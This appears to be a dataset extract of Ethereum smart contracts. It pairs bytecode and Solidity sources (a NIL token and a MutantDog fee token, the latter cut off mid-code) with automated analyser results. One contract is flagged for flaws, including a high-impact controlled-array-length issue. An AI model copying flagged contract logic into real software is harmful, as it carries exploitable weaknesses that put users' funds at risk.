8401541061094457600080fd5b5050600e810154605354601e828203111561095f5750601e81015b600093505b605354821015610a0657600160a060020a033316600090815260506020908152604080832085845290915281205411156109fb5760528054839081106109a657fe5b6000918252602080832090910154600160a060020a038816835260508252604080842086855290925291205460518054859081106109e057fe5b9060005260206000200154028115156109f557fe5b04840193505b816001019150610964565b505050919050565b60008080805b605e54821015610a6e57506000818152605d6020818152604080842054600160a060020a0316808552605b8352908420600a81015494869052929091529490910193610a5f906106cb565b83019250816001019150610a14565b50509091565b600080600080610a8261231d565b600160a060020a0386166000908152605c60205260408120600681015460078201549297508796509450909250845b6006811015610b355760338160068110610ac757fe5b6004020154828260068110610ad857fe5b015402969096019560338160068110610aed57fe5b60040201600101548260000182600681101515610b0657fe5b0154029590950194818160068110610b1a57fe5b0154838260068110610b2857fe5b6020020152600101610ab1565b505091939590929450565b604b54604e54604d54604f54929391929091565b605f5433600160a060020a03908116911614610b6f57600080fd5b605f54604e54604051600160a060020a039092169181156108fc0291906000818181858888f1935050505015610ba5576000604e555b565b605e5490565b60535490565b6000805b6005811015610bf957600160a060020a03831660568260058110610bd757fe5b0154600160a060020a03161415610bf15760019150610bfe565b600101610bb7565b600091505b50919050565b600080600960ff851610610c1757600080fd5b600061ffff841611610c2857600080fd5b61010061ffff84161115610c3b57600080fd5b600160a060020a0333166000908152605b60205260409020915061ffff83168260ff861660098110610c6957fe5b015401600060ff861660098110610c7c57fe5b600502016004015410151515610c9157600080fd5b610c9961213c565b610ce9600060ff861660098110610cac57fe5b6005020154600060ff871660098110610cc157fe5b6005020160020154846000018760ff16600981101515610cdd57fe5b01548661ffff1661220a565b90508082600a015410151515610cfe57600080fd5b61ffff83168260ff861660098110610d1257fe5b0154018260ff861660098110610d2457fe5b0155600060ff851660098110610d3657fe5b6005020160040154826000018560ff16600981101515610d5257fe5b01541115610d8957600060ff851660098110610d6a57fe5b6005020160040154826000018560ff16600981101515610d8657fe5b01555b600a90910180549190910390555050565b60008060006053548411151515610db057600080fd5b600160a060020a0385166000908152605060209081526040808320878452909152902054605354909350841015610e46576052805485908110610def57fe5b6000918252602080832090910154600160a060020a03881683526050825260408084208885529092529120546051805487908110610e2957fe5b906000526020600020015402811515610e3e57fe5b049150610e95565b6052805485908110610e5457fe5b6000918252602080832090910154600160a060020a0388168352605082526040808420888552909252912054604b546005900402811515610e9157fe5b0491505b50600160a060020a039093166000908152605b60205260409020600e01549093909150565b60008080808060068710610ecd57600080fd5b60008611610eda57600080fd5b6103e8861115610ee957600080fd5b600160a060020a0333166000908152605c60209081526040808320605b9092529091209095509350848760068110610f1d57fe5b01549250610f5760338860068110610f3157fe5b6004020160020154603389600681101515610f4857fe5b6004020160020154858961220a565b9150610f808660338960068110610f6a57fe5b600402016003015461225590919063ffffffff16565b9050610f8a61213c565b600a840154821115610f9b57600080fd5b34811115610fa857600080fd5b6000821115610fbd57600a8401805483900390555b6000341115610fcf57610fcf34612109565b85858860068110610fdc57fe5b018054909101905550505050505050565b605f805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790556040805160a0808201835260808083526001602080850182905284860186905260006060808701829052958401879052838155918055600286905560038290556004869055855180850187526104008082528183018890526102008289018190528288018590529185018890526005819055600688905560079190915560088390556009879055865180860188526203200080825281840183905262019000828a01819052828901869052918601869052600a55600b91909155600c55600d829055600e83905585518085018752630186a00080825261200082840181905262c35000838a01819052838901869052928601869052600f9190915560105560115560128290556013839055855180850187526406fc23ac0080825262010000828401819052828901829052662386f26fc10000838901819052610100938701849052601483905560159190915560168290556017819055601883905588518088018a52828152620186a08186018190526402540be400828c01819052828b01889052918801859052601993909355601a92909255601b91909155601c849055601d829055875180870189526445d964b8008082526207a12082860181905264174876e800838c01819052838b01889052928801859052601e918255601f559084556021859055602283905588518088018a52652d79883d2000808252622dc6c0828701819052650b5e620f4800838d0181905267016345785d8a0000848d01819052938a018790526023839055602491909155602555602691909155602784905589519788018a52655af3107a40008089526301c9c380898701819052898c0183905299890187905297909601839052602896909655602996909655602a93909355602b829055602c929092558451808601909552918452830191909152602d90825160029190910291909101908155602091820151600191820155604080518082018252603280825267016345785d8a0000918501829052602f8190556030829055825180840184526064808252670de0b6b3a764000091870182905260315590556000605e819055604b819055604e819055604d81905542604f55605a604c819055605f546056805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a039093169283179091556057805482168317905560588054821683179055605980548216831790558254161790556054819055605591909155815160808082018452600a808352828701849052620186a08386018190526060938401859052603391909155603484905560358190556036849055845180830186526103e88082528189018690526304c4b40082880181905291850186905260375560388590556039819055603a85905585518084018752828152808901869052808701869052662386f26fc10000908501819052603b839055603c869055603d869055603e81905586518085018852868152600f818b01819052818901859052908601879052603f87905587556041929092556042859055855180840187528581526105dc818a018190528188018390529085018690526043869055604455604555604684905584519182018552838252620249f09682018790529381018390520182905260478190556048939093556049839055604a55605180548083019091557f994a4b4eddb300691ee19901712848b1114bad8a1a4ae195e5abe0ec38021b94018290556052805480830182559083527fa9144a5e7efd259b8b0d55467f4696ed47ec83317d61501b76366dbcca65ce730155605355565b600080600960ff85161061154857600080fd5b6000831161155557600080fd5b61010083111561156457600080fd5b60008060ff86166009811061157557fe5b600502016003015411151561158957600080fd5b600160a060020a0333166000908152605b602052604090209150828260ff8616600981106115b357fe5b015401600060ff8616600981106115c657fe5b6005020160040154101515156115db57600080fd5b61160583600060ff8716600981106115ef57fe5b600502016003015461225590919063ffffffff16565b90503481111561161457600080fd5b61161d34612109565b61162561213c565b828260ff86166009811061163557fe5b0154018260ff86166009811061164757fe5b0155600060ff85166009811061165957fe5b6005020160040154826000018560ff1660098110151561167557fe5b015411156116ac57600060ff85166009811061168d57fe5b6005020160040154826000018560ff166009811015156116a957fe5b01555b50505050565b600080600080600080600080600089600160a060020a031633600160a060020a0316141515156116e157600080fd5b600160a060020a0333166000908152605b60205260409020600b0154151561170857600080fd5b600160a060020a038a166000908152605b60205260409020600b0154151561172f57600080fd5b600160a060020a033381166000908152605c6020526040808220928d16825281206007830154929b5099509750879650421161176a57600080fd5b6006880154421161177a57600080fd5b428960060154111561179157600019420160068a01555b611c20420160078a0155600096508694508493505b600387101561181657603387600681106117bc57fe5b60040201548988600681106117cd57fe5b0154029490940193603360038801600681106117e557fe5b600402016001015488600001600360ff16890160068110151561180457fe5b015402840193508660010196506117a6565b8385111561195f5742613840018860060154101561183957613840420160068901555b6118428a61227a565b505050600160a060020a038781166000908152605b60205260408082203390931682529020600a82015460039650600290045b600687101561189957600088886006811061188c57fe5b0155600190960195611875565b600096505b6003871015611946576000603388600681106118b657fe5b6004020154111561193b578887600681106118cd57fe5b0154955083603388600681106118df57fe5b60040201548702111561190c57603387600681106118f957fe5b60040201548481151561190857fe5b0495505b8589886006811061191957fe5b0180549190910390556033876006811061192f57fe5b60040201548602909303925b86600101965061189e565b600a808401805483900390558201805482019055611a41565b600096505b600387101561198857600089886006811061197b57fe5b0155600190960195611964565b600396505b6006871015611a41576000603388600681106119a557fe5b60040201600101541115611a36578787600681106119bf57fe5b0154955084603388600681106119d157fe5b600402016001015487021115611a0457603387600681106119ee57fe5b600402016001015485811515611a0057fe5b0495505b85888860068110611a1157fe5b01805491909103905560338760068110611a2757fe5b60040201600101548602850394505b86600101965061198d565b50505050505050505050565b611a5561233c565b600080805b6005811015611aa25760568160058110611a7057fe5b0154600160a060020a0316848260058110611a8757fe5b600160a060020a039092166020929092020152600101611a5a565b6055549250605454915050909192565b6000806053548311151515611ac657600080fd5b6052805484908110611ad457fe5b90600052602060002001549150605354831015611b0b576051805484908110611af957fe5b90600052602060002001549050611b14565b50604b54600590045b915091565b6000806000611b2661235b565b611b2e61237b565b600160a060020a0386166000908152605b60205260408120600a810154600b909101549096509450808080611b628a6106cb565b9650600090505b600960ff82161015611bb957600160a060020a038a166000908152605b6020526040902060ff821660098110611b9b57fe5b01548660ff831660098110611bac57fe5b6020020152600101611b69565b5060005b600360ff82161015611c2557600160a060020a038a166000908152605b6020526040902060090160ff821660038110611bf257fe5b602081049091015460ff601f9092166101000a90048116908690831660038110611c1857fe5b6020020152600101611bbd565b600160a060020a038a166000908152605b60205260409020600d01549350611c4c8a610bb3565b925087420387028901915050919395975091939597565b605e546000908210611c7457600080fd5b506000908152605d6020526040902054600160a060020a031690565b600160a060020a0333166000908152605b60205260408120600b81015490919081901515611cbd57600080fd5b605354600160a060020a0333166000908152605b60205260409020600e015410611ce657600080fd5b5050600e810154605354601e8282031115611d015750601e81015b600e83018190555b605354821015611db557600160a060020a03331660009081526050602090815260408083208584529091528120541115611daa576052805483908110611d4b57fe5b6000918252602080832090910154600160a060020a03331683526050825260408084208685529092529120546051805485908110611d8557fe5b906000526020600020015402811515611d9a57fe5b600d850180549290910490910190555b816001019150611d09565b505050565b600160a060020a0333166000908152605b60205260408120600b01541515611de157600080fd5b604f54421015611df057600080fd5b604b54600010611dff57600080fd5b60006052605354815481101515611e1257fe5b9060005260206000200154111515611e2957600080fd5b620151804201604f55604b54600590046051605354815481101515611e4a57fe5b6000918252602080832090910192909255604b805460058104900390556051805460018181019092557f994a4b4eddb300691ee19901712848b1114bad8a1a4ae195e5abe0ec38021b9401829055605280548083019091557fa9144a5e7efd259b8b0d55467f4696ed47ec83317d61501b76366dbcca65ce730182905560538054909101905533600160a060020a03168152605b90915260408120604d8054600d90920180549092019091555550565b600160a060020a0333166000908152605b60205260409020600b015415611f2057600080fd5b33600160a060020a03166000818152605b6020908152604080832042600b8201819055600a82018590556001808355600d8301869055605354600e90930192909255605c84528285206170808201600682015560070155605e80548552605d9093529220805473ffffffffffffffffffffffffffffffffffffffff19169093179092558154019055565b60008060006055543410151515611fc057600080fd5b600160a060020a0333166000908152605b60205260409020600b01541515611fe757600080fd5b600092505b600583101561202d57600160a060020a0333166056846005811061200c57fe5b0154600160a060020a0316141561202257600080fd5b826001019250611fec565b6054546056906005811061203d57fe5b0154600160a060020a03166000818152605b60205260409020600d81018054612710346124bb810291909104909101909155604b8054614e20610255909302929092049182019055604e80549091019055605580546014810401905590925090506120a661213c565b6120af8261227a565b3360566054546005811015156120c157fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556054805460010190819055600511611db5576000605455505050565b604c54604b80546064848402819004909101909155604d8054828504019055604e80549282036000190190930204019055565b600160a060020a0333166000908152605b60205260408120600b015481908190151561216757600080fd5b600160a060020a0333166000908152605b60205260409020600b015442101561218f57600080fd5b33600160a060020a0381166000908152605b60205260409020600b810154909450420392506121bd906106cb565b42600b85015590506000811115611db557600a92909201805491909202019055565b6000828211156121ee57600080fd5b50900390565b8181018281101561220457600080fd5b92915050565b600080821161221857600080fd5b506000612229848402860183612255565b01600261224083600019810163ffffffff61225516565b850281151561224b57fe5b0401949350505050565b81810282158061226f575081838281151561226c57fe5b04145b151561220457600080fd5b600160a060020a0381166000908152605b60205260408120600b01548190819015156122a557600080fd5b600160a060020a0384166000908152605b60205260409020600b01544210156122cd57600080fd5b600160a060020a0384166000908152605b60205260409020600b810154909350420391506122fa846106cb565b42600b850155905060008111156116ac57600a9290920180549190920201905550565b60c0604051908101604052806006906020820280388339509192915050565b60a0604051908101604052806005906020820280388339509192915050565b610120604051908101604052806009906020820280388339509192915050565b60606040519081016040528060039060208202803883395091929150505600a165627a7a7230582051747abd871ca65a85c5c9be88b9ae4f710246f71bd411a68beda2fd66071d8a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
204
0x7DEb93314090837fb33bB9a30D62C459BDFdc661
pragma solidity ^0.4.18; // File: zeppelin/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin/token/PausableToken.sol /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/NILToken.sol contract NILToken is MintableToken, PausableToken { string public name = "NIL Token"; string public symbol = "NIL"; uint8 public decimals = 9; }
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610132578063095ea7b3146101bc57806318160ddd146101de57806323b872dd14610203578063313ce5671461022b5780633f4ba83a1461025457806340c10f19146102695780635c975abb1461028b578063661884631461029e57806370a08231146102c05780637d64bcb4146102df5780638456cb59146102f25780638da5cb5b1461030557806395d89b4114610334578063a9059cbb14610347578063d73dd62314610369578063dd62ed3e1461038b578063f2fde38b146103b0575b600080fd5b341561011657600080fd5b61011e6103cf565b604051901515815260200160405180910390f35b341561013d57600080fd5b6101456103f0565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610181578082015183820152602001610169565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b61011e600160a060020a036004351660243561048e565b34156101e957600080fd5b6101f16104b9565b60405190815260200160405180910390f35b341561020e57600080fd5b61011e600160a060020a03600435811690602435166044356104bf565b341561023657600080fd5b61023e6104ec565b60405160ff909116815260200160405180910390f35b341561025f57600080fd5b6102676104f5565b005b341561027457600080fd5b61011e600160a060020a0360043516602435610575565b341561029657600080fd5b61011e610693565b34156102a957600080fd5b61011e600160a060020a03600435166024356106a3565b34156102cb57600080fd5b6101f1600160a060020a03600435166106c7565b34156102ea57600080fd5b61011e6106e2565b34156102fd57600080fd5b610267610767565b341561031057600080fd5b6103186107ec565b604051600160a060020a03909116815260200160405180910390f35b341561033f57600080fd5b6101456107fb565b341561035257600080fd5b61011e600160a060020a0360043516602435610866565b341561037457600080fd5b61011e600160a060020a036004351660243561088a565b341561039657600080fd5b6101f1600160a060020a03600435811690602435166108ae565b34156103bb57600080fd5b610267600160a060020a03600435166108d9565b60035474010000000000000000000000000000000000000000900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104865780601f1061045b57610100808354040283529160200191610486565b820191906000526020600020905b81548152906001019060200180831161046957829003601f168201915b505050505081565b60035460009060a860020a900460ff16156104a857600080fd5b6104b28383610974565b9392505050565b60005481565b60035460009060a860020a900460ff16156104d957600080fd5b6104e48484846109e0565b949350505050565b60065460ff1681565b60035433600160a060020a0390811691161461051057600080fd5b60035460a860020a900460ff16151561052857600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a0390811691161461059357600080fd5b60035474010000000000000000000000000000000000000000900460ff16156105bb57600080fd5b6000546105ce908363ffffffff610b0a16565b6000908155600160a060020a0384168152600160205260409020546105f9908363ffffffff610b0a16565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a282600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff16156106bd57600080fd5b6104b28383610b19565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461070057600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a0390811691161461078257600080fd5b60035460a860020a900460ff161561079957600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104865780601f1061045b57610100808354040283529160200191610486565b60035460009060a860020a900460ff161561088057600080fd5b6104b28383610c13565b60035460009060a860020a900460ff16156108a457600080fd5b6104b28383610ce9565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108f457600080fd5b600160a060020a038116151561090957600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600080600160a060020a03841615156109f857600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610a3e908463ffffffff610d8d16565b600160a060020a038087166000908152600160205260408082209390935590861681522054610a73908463ffffffff610b0a16565b600160a060020a038516600090815260016020526040902055610a9c818463ffffffff610d8d16565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b6000828201838110156104b257fe5b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610b7657600160a060020a033381166000908152600260209081526040808320938816835292905290812055610bad565b610b86818463ffffffff610d8d16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610c2a57600080fd5b600160a060020a033316600090815260016020526040902054610c53908363ffffffff610d8d16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610c88908363ffffffff610b0a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d21908363ffffffff610b0a16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610d9957fe5b509003905600a165627a7a72305820c693e1cbdaf2d5a0a9c46002ec0e427c5c6fe0783a1bbc8a3459d22799bbc6140029
{"success": true, "error": null, "results": {}}
205
0xed96edbd8d0a01ef1faac69eba199c80d582cde0
/** 🐺Mutant Dog 🐺 MutantDog is the brand new token launching on the ethereum network. MaxTx:2% MaxWallet:3% Tax: 5%Buy 7%Sell Total supply : 200,000,000,000 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MutantDog is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MutantDog"; string private constant _symbol = "MutantDog"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xdC90Ed596b514E13Db31F0570A712fFa0243C98a); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total 